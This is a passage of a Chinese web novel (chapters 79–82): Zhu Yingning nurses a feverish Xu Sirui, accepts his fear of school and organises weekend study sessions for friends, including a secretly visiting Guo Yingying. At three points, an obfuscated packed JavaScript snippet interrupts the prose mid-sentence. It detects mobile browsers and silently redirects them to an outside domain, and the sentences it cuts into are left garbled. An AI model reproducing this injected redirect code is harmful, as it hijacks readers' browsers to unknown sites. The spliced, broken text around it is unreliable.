要是在其他地方不见了,那还好说,可这毕竟是河边,许思睿本来不想搭理,加紧了脚步往前走,却越走越心慌,回头一看,竟看到祝婴宁和老大爷站在一起,对着护城河的方向不知在嚷嚷些什么。 他快步走回去,一眼瞧见护城河河面上,一个熊孩子坐在游泳圈上,屁股卡进中间的洞里,正在河面上飘来飘去。 许思睿:“……” 这破小孩到底从哪儿冒出来的?又是怎么想的会以这种姿势下水? 这个姿势无法发力,只能随波逐流,刚开始,熊孩子还觉得好玩,啊啊哈哈笑得非常开心,发现自己控制不了方向,下不来也上不去以后,这才慌了,脸上笑容碎裂,嗷的一声大哭起来。 老大爷说:“娃娃,你别动,别动啊!千万别乱动!我这就下去救你!” 他说话的时候,祝婴宁已经迅速脱掉了鞋子和袜子,看样子是想抢在大爷之前下水。 许思睿的三叉神经跳个不停。他三步并作两步跑上前,一把将她拽了回来。 祝婴宁惊愕地看向他:“许思睿,你别乱来……” “到底谁乱来!?”他没忍住吼了她一句,恨不得拿面镜子让她瞧清自己现在的尊容。 他虽然失眠,好歹还是在张霖床上躺了一晚上,而她在楼道干捱了一宿,看起来随时处于猝死的边缘,许思睿毫不怀疑让她跳下去,一小时后他就可以买张竹席给她收尸了。 “待着别动!”他吼完她,正打算自己下去,就听噗通一声—— 在他们争吵的时候,大爷已经利落地跳进了水里。 79. 退烧药 大爷如鱼得水,从容且迅疾地游到了小男孩身边,将他推向下水口的台阶,同时高声呼喊着许思睿:“小弟,你过来接一下啦!” 许思睿回过神,此刻也容不得他纠结些有的没的,只能依言走下台阶,把那哭哭啼啼的小孩抱上来。托这熊孩子的福,他膝盖以下全湿了,裤子湿了倒还在其次,难以忍受的是球鞋,灌满了水,像踩了两只龙舟在脚上,难受得他浑身汗毛倒竖。 祝婴宁在岸上,细细盘问了一遍熊孩子的情况,问他家住哪里,为什么会在这,知道怎样回家吗?谁知小孩不仅熊,还分不清好赖人,这会儿倒懂得端起来了,把游泳圈卡在自己腰身上,警惕地说:“你为什么问我这些?你是人贩子!”然后不管三七二十一,尖叫着“救命啊!有人贩子”就跑了,只留祝婴宁在风中凌乱。 但她并没有气馁,很快将重点放在了他的鞋子上,高兴地说:“太好了,许思睿,因祸得福,现在你得回家换鞋子了。” “……” 他很想说这叫因祸得祸,而且哪有人看到同伴鞋子湿了第一时间竟来恭喜的,但最终只说了,“我不回去。” 她惊道:“可你鞋子怎么办?”又用一种骗小孩的口吻对他循循善诱,“湿鞋穿久了会脚臭,很臭的,不要这样吧。” 许思睿有点恼,他真的很好奇自己在她心里是个怎样的形象,别说十六了,感觉五岁都没有。他转身就走,打算随便找家商场买双新鞋,反正身上还有些闲钱。 祝婴宁只能继续背着书包跟着他。 日头越来越正,天光大亮,他估摸着现在已经七点多了,只要熬到上学的时间,她多半就会识趣地离开。 然而直到兜兜转转走到了商场里,看到鞋店墙上的挂钟显示着八点半——早就过了早读时间,连第一节课都已经结束了——他回头一看,却发现祝婴宁还是不声不响地跟在他身后。 她拽着书包带,眼睛因通宵而显得没什么神采,单眼皮疲倦成了双眼皮,唯独嘴角依然倔强地抿起,形成两个括号般的弯弧。 她站在鞋店的感应门外,感应门合上,她的脸变得模糊,只有那双曾许多次给他留下深刻印象的黑白分明的眼睛,即使疲倦,也带着某种执拗的光芒,透过感应门沉默地望向他。 鞋店里的导购过来询问他的需求:“您好,请问想找什么样的鞋子呢?” 许思睿张了张嘴,又慢慢合上。在第二次张嘴的时候,他轻声说:“不好意思,我还是不买了。” 他走了出去。 有一种人就是这样,也许天生能量场比别人强,也许只是单纯认死理,总之,跟他们比坚持,普通人势必会一败涂地。许思睿已经认识到,在这件事上,他确实属于普通人的行列。 “走吧。”他开口。 ** 回到家里已经是九点多了,家里没人。许思睿换下湿鞋,拿到卫生间里刷干净,沥干水,晾在了阳台上。 做完这一切,他来到客厅,发现祝婴宁坐在沙发上,仍旧没去上学。 她看向他,貌似有话想说。许思睿抢在她开口前打断道:“回家可以,别逼我去学校。”这话说得平静,音量不大,但他脸上没什么表情,眼底也毫无笑意,能看出这确实是他目前的底线,于是祝婴宁把劝他上学的话咽下去了,点点头:“好。” 她从沙发上站起来,不放心地和他商量:“那……你今天待在家里?别去别的地方,可以吗?” 他没说好也没说不好,祝婴宁就当他默认了。 她收拾好书包,进洗手间洗了把脸,把憔悴洗掉一点儿,又随意抓来两袋饼干,这便匆匆忙忙出门了。 到达学校,自然是挨了洪青阳一顿批。 不过,洪青阳对好学生总体还是温柔的,批评完她,又说:“这次我给你记了事假,下次要还有情况,一定要提前请假,不能再旷课了,知道吗?” 祝婴宁立刻小鸡啄米般点头,最后才被他特赦离开。 坚持上完上午最后两节课,她赶紧趴在课桌上补了补觉,吴波和邹皓想叫她去食堂,但她已经睡死了,怎么摇都摇不起来。无奈,吴波只好说:“我们先去食堂吧,回来给她打包点饭。” 吃完吴波的救济粮,祝婴宁坚持要还钱给她,把吴波弄得头大:“就那么五块六块,有什么好还的,你要实在想还,不如……”她本来想说不如陪我去买魅力优品的言情小说,但想起这次期中考因为成绩退步被父母数落了一顿,索性改口道,“不如把你笔记也借我瞧瞧。” “好啊。”祝婴宁热情地找出笔记。 上完一天学,她又急匆匆赶去祝知微店里帮忙,最后火急火燎回到家里,发现许正康难得在家,而且已经从外边打包来了饭菜,招呼她坐下来一起吃。 她坐在他对面,没见着许思睿,于是问了句:“许叔叔,许思睿呢?他还在家吧?” 许正康冷哼一声:“他在睡觉,不用管他,烂泥扶不上墙的软坨子,看了就心烦。” “我去叫他起来吃饭。” “不用惯着他,不想吃饿死得了,又不是他的仆人,谁天天有那个闲心去伺候他?!” 祝婴宁没理会他的怒骂,起身来到许思睿卧室前,敲了敲他的房门。 里面没人应声。 她又敲了几声,许思睿还是没反应。倒是餐厅的许正康见许思睿不吱声,越发恼火,怒气冲天道:“别管了别管了!你自己过来吃饭!” 她干巴巴笑了几声,无视许正康的暴躁,伸手拧开许思睿的房门,小声道:“……我进来了?” 他卧室里拉着遮光窗帘,也没开灯,一片昏暗,只能勉强从床上辨认出一个人形。她走到床沿,把他从被子里挖出来:“许思睿,起来吃饭吧?” 他皱着眉毛,眼睛紧闭着,一动不动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许思睿闻到她身上淡淡的洗衣粉香味,心里本来充满感动,他没力气张开嘴喝水,以为她会像电视里演的那样,拿根吸管慢慢喂他,结果她二话不说掐开了他的下颌,跟给猪牛羊投药一样,眼疾手快把药扔进了他的嗓子眼,灌了他一口水,在他什么都没反应过来之前就把药喂完了。 到了晚上十点,她又来看了他一次,见他身上热度不减,立刻取来酒精给他擦身。当然,同样毫无温柔可言。她拿毛巾给他擦拭露在外面的胳膊和肩颈,手劲奇大,许思睿感觉自己的皮都要被她搓掉了,更可恨的是他还没力气出声,只能默默忍受她的虐待,偶尔从喉咙里挤出一两声疼痛的闷哼,她也不解其意,还柔声安慰他:“没关系的,很快就会好了,我晚点再来给你擦一次。” 那一晚,他时而清醒时而昏睡,其实记不清她究竟来了几次,只知道她的照顾虽然谈不上温柔,和周天澜那种会在他生病时唱歌哄他睡觉的细致入微完全不一样,但是,却很温暖。 80. 山神 能够独自下床是第二天傍晚的事了。 祝婴宁千叮咛万嘱咐,让他彻底痊愈之前别洗澡,免得受了凉又复发,但许思睿无法忍受自己身上有汗,趁她去上学,做贼一样偷偷把澡洗了。 她回家后留意到他换了身睡衣,气得简直不想理他。 许思睿只当她在开玩笑,完全没往心上去,直到发现她居然真的生气了,一整晚都没和他说话,并且接连无视了他“吃不吃水果”“喝不喝牛奶”之类的橄榄枝,他才迟来地产生了一股做错事的心虚。 要他直接道歉是不可能的,他只能在她卧室门口走来走去,毫无意义地刷着存在感,小学生附体,试图引起她的注意。 就这么刷到了晚上十一点多,她终于大发慈悲打开了房门,不过不是来和他和好的,而是为了骂他:“许思睿,你烦不烦?你吵得我都没法做作业了!” 他垂下眼帘。 该说不说,上天有时就是这么偏心。在这之前,祝婴宁其实对谁长得美谁长得丑没有多大感触,直到此时此刻,她才发现长得好看的人确实是享有某种隐形红利的,起码看到他低眉顺眼,长长的睫毛遮住眼瞳的样子,她心里的气竟然莫名其妙就消了一些。而他明明什么都没有做,只是垂下眼帘而已。 她扶着门框,叹气:“你要是这么有活力,就进来吧。” “进去干什么?”他审时度势,小心翼翼地发问,“你要打我?” “……”她扯着嘴角,无语道,“对。” 最后他还是冒着被打的风险磨磨蹭蹭踏了进来。 不过,接下来发生的事让许思睿觉得她还不如打他一顿。因为她坐在床沿,双手抱胸,摆出了要和他谈心的架势,一开口就是:“你跟我说说,你对上学这件事到底是什么想法?” 那股始终萦绕在他心头且因为生病而被忽视了一段时间的烦躁感再度冒头,许思睿别开脸,凝在她床尾处,脸色生硬,半天都没说话。 他不想跟她谈心。 不知道为什么,面对孙明远,他可以毫无心理负担地坦言自己内心的脆弱,可一想到这份脆弱要像共享文件一样发送给祝婴宁,他就觉得还不如杀了他算了。 在长达五分钟的沉默后,祝婴宁挪了挪屁股,板起脸,严肃道:“说话。” 他梗着脖子,还是没看她,说是说了,但说的是:“换个话题。” “不换,我就要聊这个。”她下定决心不能再让他用逃避糊弄过去了,起码,她得知道他内心对上学这件事究竟是何想法。 见许思睿依然秉持死鸭子嘴硬的原则,打死不肯开口,她换了个思路,抛出一个二选一疑问句:“你告诉我,你想不想继续上学?” 这回他默然许久,终于从牙缝间勉强挤出一声:“……不。” “因为学校的流言蜚语吗?” 没想到她会问得这么直接,他脸色沉了几分,纯粹是顾虑到眼前的人是她才没有发脾气甩门而去。 结果她好像看不出他在生气,也可能是看出来了,但是并不在乎,因为她往前倾了倾身体,逼问:“因为你怕那些流言蜚语?” “……祝婴宁。”他咬紧牙根,闭了闭眼,感觉额上青筋突突直跳,心头的震怒如同燎原的野火,从肺部烧上来,直窜脑门。 “是不是?” 他哈了一声,眼眶血红,坦率承认道:“是。”几秒后,毫无预兆地怒吼起来,吼得撕心裂肺,大有破罐子破摔的意味,“我就是怕!我就是不敢去面对!!所以又怎么样!??” 他吼得太大声,以至于许正康从主卧出来,敲了敲客房的门:“怎么回事?许思睿,你又发什么疯呢?!” 祝婴宁连忙打圆场糊弄过去:“没事叔叔,我和他在聊天而已。” “我告诉你,你要是再抽风,我非把你抽死不可!”许正康朝许思睿撩完狠话就走了。祝婴宁暗自庆幸他顾虑着她是女孩而没有把门打开,不然以许思睿现在的状态,他俩说不定真能在她面前打起来,还是你死我活见刀见血那种。 她转动眼眸,重新看向面前的许思睿,延续刚刚的话题,说:“不怎么样。” “……什么?”他还沉浸在对许正康刚刚那番话的愤怒里,太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852913|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳穴疼得厉害,闻言没能马上领会过来。 “我说。”祝婴宁慢慢地补充道,“你不需要怎么样。” 客房的灯是冷色的,蓝蓝地洒下来,本该疏冷,却将她的五官润出一种神圣且庄重的色泽。 她平和轻缓却又斩钉截铁地陈述:“许思睿,你不需要改变你的性格,你可以懦弱,可以逃避,可以胆小,这些都没关系。你不想去学校,那就不去,我可以帮你请假,请假到你觉得准备好了为止,要是一直准备不好,那就改成在家里学习。你想逃避那就逃避。没有人规定说活在这个世界上一定要成为一个多么坚强的人,没有人规定说遇到困难只能克服,而不能选择绕过去。胆小的人也有胆小的权力啊。” 他完全愣住了,石化在她床尾,眼神充满茫然。 “但是你得答应我,不能再去外边乱晃,也不能再抽烟喝酒,不能开那什么机车。”她撇撇嘴,对他之前那些玩命的吊儿郎当的行为很是不满,啰啰嗦嗦给他提着“逃避”之外的要求,“而且每天晚上,你都得跟我一起学习,周末我会给你补习,你必须……” 后面的话,祝婴宁没再说下去。她吃惊地咽回所有未成形的话。 冷蓝色的灯光将他脸上的泪涤荡得清澈又纯净。他呆呆地看着她,脸上仍维持迷茫的表情,唯独眼泪泉涌,汩汩如涨潮的江河,肆虐得不见任何征兆。 静默的河在她和他之间流淌,她脸上的神情从一开始发现他在哭的惊慌无措,逐渐变为叹息般的柔软。软得不可思议,像一个温淳朴直的梦境,梦里没有高楼大厦,钢铁森林,只有连绵的群山,以及一把射向他的清弓,在他耳边撕出破空的啸鸣。 许思睿惊讶自己竟然会联想到如此宏大的譬喻。 也许是因为在这之前,从来没有人告诉过他,除了俗世要求的勇敢与坚韧,原来他也可以懦弱、可以逃避、可以胆小。原来有人能接纳这一切,原来人活一世,也有概率被人这样温柔地包容和承托。 他觉得她是山神,是山里的草木泉石化形以后来凡间普渡世人的。 神渡世人,也渡了他。 81. 补习 祝婴宁一打开门就看到孙明远抱着两颗红心蜜柚站在门口,她吃了一惊:“人来就行了,怎么还带吃的?” “我妈说这是给你的拜师费。” 事情还要从早上说起,身为单方面自封的战友,早上孙明远打电话过来关心了一下许思睿的情况,祝婴宁说人已经找到了:“他精神还行,下午我打工完会给他补补这周落下的课。” 聊这个电话时,王晓倩恰好在旁边看婆媳伦理剧,竖着耳朵,敏锐捕捉到了话筒里传出的关键词“补课”,忙推搡孙明远的胳膊,朝着话筒喊:“婴宁啊,你要给思睿补课吗?你看,今天是周六,我们明远在家宅着,正闲得没事做,你再顺带多教一个人成不成哪?” “行啊,阿姨。”这种事在祝婴宁那就没有不成的道理。 孙明远连拒绝的台词都没念出口,就被自己妈安排妥贴了。等他挂断电话,弱弱地争辩:“我哪里宅在家没事做了,我下午还约了学校同学去打球……”王晓倩便毫不含糊地糊了一巴掌在他头上,怒道:“球天天都能打,补课是天天都能补的吗?个不知好歹的东西!” 时间重回现在,祝婴宁道了谢,收下王晓倩的心意,让孙明远先在客厅坐着等等。茶几已经被她推到了客厅正中间,周围摆了一圈小凳子,孙明远坐下来,半开玩笑地说:“老师,你数学不行啊,怎么还多了只凳子?” 祝婴宁把柚子放在厨房,探出脑袋解释:“没多,我有个朋友也要来。” 孙明远来了些精神:“男的女的?” “女的。” 他瞬间精神得不能再精神了:“长得怎么样?漂亮吗?” “……” 祝婴宁不满地瞪着他,“孙明远,你是来学习的,不是来相亲的,还有,请你尊重我的朋友。” “哎,好好好。”他怕了她,赶紧举手投降道歉,摸了摸脖子,探头探脑看了一圈,问,“许思睿呢,去哪了?” “他在房间。” “在房间干嘛?我去叫他。” “在房间生气。” “啊?”孙明远乐了,“生啥气啊,谁又惹他了?天天跟个炮仗似的。” “不知道。”祝婴宁说完,不太确定地补充,“应该是我惹到他了吧。” 许思睿得知孙明远也要来补课后,表情就有些不爽了,不过她没有及时看出来,记起吴波同她说过她这次期中考成绩下滑,被父母批评了,索性一不做二不休,给吴波也打了个电话,问她要不要过来一起学习。 “都有谁啊?”吴波在那头问。 祝婴宁如实告知。 听闻有许思睿,吴波的大脑卡了半天:“谁?你刚刚说谁?” 祝婴宁只能简明扼要地把她和许思睿的关系概括了一下。得知他们居然是朋友,还住在一起,吴波吓得不轻,紧急调动大脑,回忆自己有没有说过许思睿坏话,确认自己仅仅只是夸过他长得帅以后,才安下心来:“好啊好啊。” 吴波应允后,祝婴宁挂断电话,回头一看,许思睿已经将脸拉得老长。 “……你怎么这个表情?”她问。 许思睿重重地哼了一声,也不解释,臭着脸就回自己卧室了。 等到吴波也到了他们家,他才慢腾腾从他的房间里走出来,穿了身银白色睡衣,懒懒往凳子上一坐,腿长得无处安放,从他自己的座位延伸到她腿边。 吴波原本在同孙明远唠嗑,目光跳到许思睿身上,瞬间尴尬地错开眼。她有一种看到帅哥就浑身不自在的病,虽然平时爱看言情小说,也爱追星,常跟祝婴宁嚷嚷“能不能天降一个帅哥赐我段轰轰烈烈的早恋”,然而现实中见到长得帅的却一个屁也放不出来,不仅嘴巴像被502糊住,眼神也自带闪避系统。 孙明远啧啧道:“你出来好歹也换身别的衣服啊,拜托别在女士面前穿睡衣,你瞧人家都尴尬了。” 吴波想说她不是因为这个尴尬的,哦,不对,她根本没在尴尬!不过在她开口之前,许思睿就已经拖着语调为他自己狡辩了:“又没漏什么。” 他这么一说,三人的目光都如探照灯般打在了他身上。 银白色睡衣的第一颗纽扣解开了,敞出半截精致锁骨,像用刀剑凿刻上去的,其他纽扣倒是扣得严严实实,确实没露任何不该露的地方。论淫|荡,孙明远把两只袖管卷上去,大剌剌将两只臂膀露在外头可能还更淫|荡。但许是他的锁骨生得好,和孙明远无聊的臂膀比起来完全不是同个量级,在场的人打量他这副装扮,心里都有说不出的古怪,就像被迫钻进帅哥的被窝里和他同床共枕一样。 “你把纽扣扣好。”祝婴宁低声提醒他。 许思睿斜了她一眼,卖弄少爷脾气:“不要。” 他心里还有气,就是不想顺着她来,谁知刚说完不要,她就利落一抬手,直接替他把纽扣扣上了。 指尖浅浅掠过肌肤,好像碰到了他,又好像没碰到。许思睿像被施了定身术,僵着腰背,半天都没动作。直到祝婴宁若无其事地翻开课本,让其他人也把课本翻出来,他才慢慢缓过劲儿,耳根热烫,闷声不响地收了少爷神通,开始听她授课。 她先把这周各科老师讲授的知识提炼出来,简单给其他人过了一遍,讲完又摊开练习册,拿出闹钟,一本正经定了时限,要求他们在某某分钟内做完。 最先应对的科目是数学。 孙明远连着做了五道选择题,做到第六道时,好死不死被函数的难点卡住,兢兢业业在草稿纸上演算了半天,最后算出了一个选项里没有的答案,气得他嘴歪眼斜,把练习册一推,耐心告罄,迫切想找个人吹水聊天,舒缓一下被数学凌虐的心情。 目光在祝婴宁专注的侧脸上滑过,哦,这位绝对是不能招惹的。又转向许思睿,结果许思睿竟然也垂眼学得认真。他不死心地在茶几下用脚趾碰了碰他。许思睿立刻露出吃到苍蝇的表情,毫不留情地屈起膝盖,把腿贴在胸前,避开了他的骚扰。孙明远只能忿忿然看向吴波,随即惊喜地发现吴波也卡在了那一题,他伸出手,正打算指点江山,挥斥方遒,就感觉到有道炽热的视线烫在他脸上。 抬起头,祝婴宁对他怒目而视。 孙明远讪笑着收回手,妄图为自己开脱,解释的话还没出口,便见她低下头,在本子上写下他的名字,然后在他的名字下用力划下“正”字的第一笔。 “这是……” “开小差的次数。” 孙明远摸了摸鼻头:“你……记这个干嘛?集齐五次会有惩罚?” 她严肃地点头。 “不是吧?”孙明远捂住自己的胸口,掐着声音浑不吝地鬼叫,“你打算对我干嘛啊?我可是黄花闺男,纯情少夫。” “不干嘛。”她用笔头敲了敲他的练习册,示意他集中注意力好好做题,“集齐五次,我们会一起鄙视你。” 许思睿和吴波配合地绷起脸点了点头。 孙明远:“……” ** 那晚回到家,王晓倩问他学得怎么样,孙明远憋了一下午,总算找到了发泄口,立刻开始吐槽——老师太板正,课堂氛围过于严肃,同学不近人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863677|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情…… 王晓倩听完,满意极了,笑眯眯道:“下周你继续过去吧。” 当晚孙明远就把个性签名改成了:本人已死,有事烧纸。 ** 新的一周开始,祝婴宁找到许思睿的班主任,替他请了一个月的长假。之后她便陷入了规律的生活,白天按时上课,放学后去祝知微店里帮忙,晚上给许思睿过一遍白天老师讲的内容,权当给自己复习了。 快到周末的时候,吴波嘻笑着问她:“婴宁,周末我能再过去吗?我感觉上周周末你给我理了一遍后,这周听课都轻松多了。” “当然可以,有帮到你就好。” 邹皓恰好路过,好奇地问:“在说什么?” 听完祝婴宁的解释,他沉吟片刻:“周六下午?嗯……我让我妈把我周六下午的钢琴课换到周日吧。” 吴波心里警铃大作:“Wait!你不会也要来吧?” “有问题?”邹皓理直气壮地摊开手。 ** 许思睿勉强接受了孙明远和吴波的存在,事后他想了想,他们一个是他的朋友,一个是祝婴宁的朋友,他为此生闷气确实很没道理。 就在他别别扭扭说服自己的时候,邹皓登门了。 邹皓有一种社达主义者特有的应变能力,许思睿请长假这件事让他越发瞧不起他了,认定此人将来必不会有出息,但一听许思睿爸爸是祝婴宁的资助人,他立刻把自己对待垃圾的态度包装了一下,以一种peaceandlove的态度来到了他家。 补课过程中的相处倒也还算相安无事,如果忽略许思睿在一旁鼻子不是鼻子眼睛不是眼睛的话。他本身就和邹皓这种性格的人合不来,闻到他身上那股自以为正确的精英味儿就想冷笑,再一想到这种人居然也能加入祝婴宁的补课队伍,就越发肯定她那天说的“你是特别的”全是在放屁。 他特别在哪? 这不是随便什么阿猫阿狗都能得到和他等同的待遇吗? 补课结束,许思睿再度王子病上身,以皇帝处决太监般的口吻说:“下周我不想再看到那胖子。” 祝婴宁最近从吴波借给她的霸总小说里学来一个新词,叫天凉王破,应用到许思睿身上就是天凉邹破,想到这她就觉得好笑,笑了半天,才在许思睿刀人的眼神中勉强止住笑,问:“为什么?” “没为什么,我就是看他不爽。” “可是,我觉得你们很像。” 这句评价比他有史以来获得的所有负面评价都侮辱,许思睿叫得像是走在路上忽然踩到了狗屎:“祝婴宁!”他脸都急红了,“我和他哪里像了?!从外貌到智商到别的什么东西我都甩他一百条街好吗!你眼瞎啊?” “确实很像啊。”她淡定道,“你看,你们都很瞧不起对方。” “……” ** 邹皓没有天凉邹破,他又来了。 新的周六,他不仅人来,还带来了一个诡异的消息,一进屋,他便环视着屋子里的其他人,问:“你们谁有仇敌吗?” 一干人等面面相觑。 孙明远:“我一生行善积德……” 吴波:“我为人老实本分。” 孙明远指向许思睿:“他!他肯定有不少仇敌。” 许思睿没好气地瞪向他。 祝婴宁上前问:“为什么这么说,出了什么事吗?” “也不是什么事。”邹皓推推镜托,冷静道,“就是刚刚我进来的时候,看到有个形迹可疑的人一直在你们家附近徘徊。” 82. 祝婴宁定律 “我出去看看。”形迹可疑这种表述怎么听怎么怪,祝婴宁换上鞋子便要出去。 邹皓补充道:“是个女的,戴着帽子、墨镜和口罩,身高应该有一米七以上。” “谁呀?难道是追债讨债的?”孙明远随口胡诌,“许思睿,你欠谁债了?钱债还是情债?” 许思睿白他一眼,跟在祝婴宁身后趿拉上了外穿拖鞋。 他们一前一后走到楼梯间里,听邹皓说这个所谓的形迹可疑的女人一直在楼梯间徘徊。进去以后果然和一个将自己包裹得严严实实的女人对上了视线,她蹲在16楼和15楼的交界处,见到他们,似乎受到了不小的惊吓,捂紧脸上的墨镜和口罩就朝楼下跑。 “等等!”祝婴宁喊住她,快步追了下去。 她窜得快,许思睿穿着拖鞋不太好追,勉强追了几步,脚差点从拖鞋前方刺溜出来。等他调整好鞋子,抬头一看,两人早就已经跑没影了。 形迹可疑的女人虽然比祝婴宁高了一大截,但四肢纤细,不擅长运动。跑到10楼,眼看要被祝婴宁追上了,她迅速调转方向拐到了电梯前,狂戳电梯按键。 很不幸,电梯在7楼,上来还需要时间。 祝婴宁成功在电梯前堵到了她,刚想问她在他们家门口徘徊有何目的,定睛一看,却发现这个女人很眼熟。 尤其是身高。 她醍醐灌顶,试探着叫出对方的名字:“……郭莹颖?” 被点到名字的“女人”瑟缩肩膀僵了几秒,可能是考虑到已经被识破了,几秒的凝滞后,她慢慢摘下眼镜和口罩,露出来的果不其然是郭莹颖的脸。不知道是因为刚才的奔跑,还是偷窥被抓的行径,她的脸红得像要沁血。 “你……”祝婴宁语塞了,实在是从来没有遇到过这种境况,与窘迫的郭莹颖大眼瞪小眼好一会儿,才轻声问,“你……是来找许思睿的吗?” 郭莹颖对祝婴宁的印象只有一个字,钝。 喝咖啡那天,她之所以答应同去,其实是抱着点不可告人的探究心思的。十几岁的女孩,对待出现在心仪对象周围的其他同性,难免会有提防较量之心。聊了几句后,她逐渐发现祝婴宁这人呆呆的,这种呆倒也不是反应迟钝,而是有股和精明完全搭不上边的圆钝感,像一块凉凉的鹅卵石,而非锋利的砍刀。她对祝婴宁的戒心与其说是友好地消弭了,不如说是觉得她构不成威胁,以一种高高在上的傲慢的姿态回收了。 所以,听到她印象中圆钝的人说出这么敏锐的话,揭开她用来掩盖少女心思的遮羞布,她只觉得羞耻得想哭,攥紧手中的墨镜,自暴自弃地喊:“你想笑就笑吧,随便了!反正我就是这么丢人!” 祝婴宁愣了一下,不解地问:“我为什么要笑?” “难道你不觉得我特别可笑?”郭莹颖说着说着,嘴角向下一撇,鼻尖突然就红了。 祝婴宁被她吓了一大跳,赶忙拍着她的后背安抚:“可笑在哪?哪里可笑了?完全不啊。”她绞尽脑汁,慈祥地从唇缝里蹦出一句,“你一点儿都不可笑,你很可爱。” 郭莹颖愣了愣:“……可爱?” 她不是没被人夸过,长得漂亮,从小到大最不缺的就是各式“漂亮”“可爱”的夸奖,但此情此景,祝婴宁说的可爱似乎并不单单指她的外貌。她难以理解地睁大眼睛瞪着她,而祝婴宁似乎也一时没搜罗出合适的措辞,两人再次大眼瞪小眼,像在比赛谁能对视足够长的时间而不眨眼。 就在气氛即将滑向尴尬的时候,祝婴宁终于开口了,敲了下脑壳,问她:“你现在是不是没有别的事做?” 郭莹颖狐疑地点了点头。 “那太好了。”祝婴宁一把牵过她的手腕,“我们刚好在学习,既然没事做,你也一起来学习吧。” “?” ** 被祝婴宁拉到楼梯间时,郭莹颖的脑筋依然没转过弯,直到上了十几级台阶,上方忽然罩下一个黑影,她才回过神,仰起头,看到了站在台阶之上的许思睿。 认出她是谁的那一刻,许思睿的脸色明显不对了,眼神冷下来,脸上的神情无论她如何自我蒙骗都无法解读为高兴或欢迎。 她的心直直坠下来。 来到这本就全凭对他的一腔真心,说是冲动也好,莽撞也罢,她其实只是想看看他的状态还好不好,想让他知道并非所有人听完冯达的话都选择疏远他。但现在,看到他嫌恶的表情和拒绝的姿态,她不由得怀疑起自己这一举动是否过于自作多情了——谁需要她的关怀?谁在意她的担心?她在他眼里恐怕和冯达是一丘之貉,她这个人对他来说也许根本就无关紧要。 就在郭莹颖胡思乱想,想到心脏都开始发酸发涩的时候,手腕忽然被人不轻不重地捏了一下。她偏过视线,看到祝婴宁面不改色地对许思睿说:“许思睿,郭莹颖想和我们一起学习。” 许思睿的眉毛皱得能夹死苍蝇,张嘴想拒绝,可当着郭莹颖的面,又不好把话说得太狠太绝情,只能暂时忍下来,不情不愿地让出道,跟在她俩身后。 三个人沉默地向上攀爬。 郭莹颖觉得气氛简直糟透了,可转眼去看祝婴宁,她却泰然自若,好像完全察觉不到气氛不对似的,嘴里还自言自语念叨着什么,郭莹颖集中注意力听了一下,发现她在背元素周期表。 “……” 这个人到底怎么回事?郭莹颖都有些分不清祝婴宁究竟是大智若愚,还是天生如此呆钝了。 她们走到16楼,许思睿家的门敞开着,孙明远在门口张望来张望去,见到她们,立刻高声喊道:“怎么样?形迹可疑的人抓到了吗?是哪个孙子敢来偷窥爷爷……哎哟我去!”看到郭莹颖后,他眼睛都直了,忙不迭把后半句话咽回去,结结巴巴地问祝婴宁,“这、这位是?” “郭莹颖,我们学校的学生,许思睿的朋友。”祝婴宁做着介绍。 孙明远在短短一秒内演绎了高超的变脸术,褪去满脸愤怒,挂上谄媚的笑,套近乎道:“原来是同学啊!嗐,早说嘛。我是许思睿的朋友,你既然是他的朋友,那也就是我的朋友,大家都是朋友!来来来,千万别客气,快来屋里坐,误会,全都是误会啊!” 祝婴宁和许思睿在外头看得特别无语。许思睿对孙明远这副不值钱的模样早已麻木了,竖了个中指就朝屋里走,祝婴宁则在路过他身边时小声提醒他:“孙明远,你正常点儿。” “我知道我知道。”孙明远敷衍地应着,殷切地跑进屋里找新的小板凳去了。 邹皓和吴波看到郭莹颖,都有些吃惊,不过他们比孙明远冷静多了,点了点头便算打了招呼。 孙明远的狗腿换个角度看其实也不算全无好处,起码能够活跃气氛。郭莹颖坐在他给自己搬来的新凳子上,本来还担心自己的到来会让现场冷场,好在孙明远时不时插科打诨,除了许思睿的表情像个讨债鬼,气氛基本可称正常。 郭莹颖以为学习只是聚会的借口,毕竟哪有人放着美好的周六不享受,特意聚在一起只是为了学习的?结果祝婴宁竟然真的掏出了课本,对其余人说:“这周我们先复盘下物理吧。”说完还体贴地把自己的课本往她的方向挪了挪,“郭莹颖,你没有带书,可以先看我的。” 郭莹颖震惊地附在她耳边问:“……我们真要学习啊?” “当然啦。”她一边说一边掏出记录开小差次数的本子,严肃道,“虽然你才刚加入,但如果你开小差影响同学,我也会一视同仁地记录在案的。” “……” ** 莫名其妙地跟着大家学了两小时,郭莹颖感觉自己的大脑皮层都展开了。 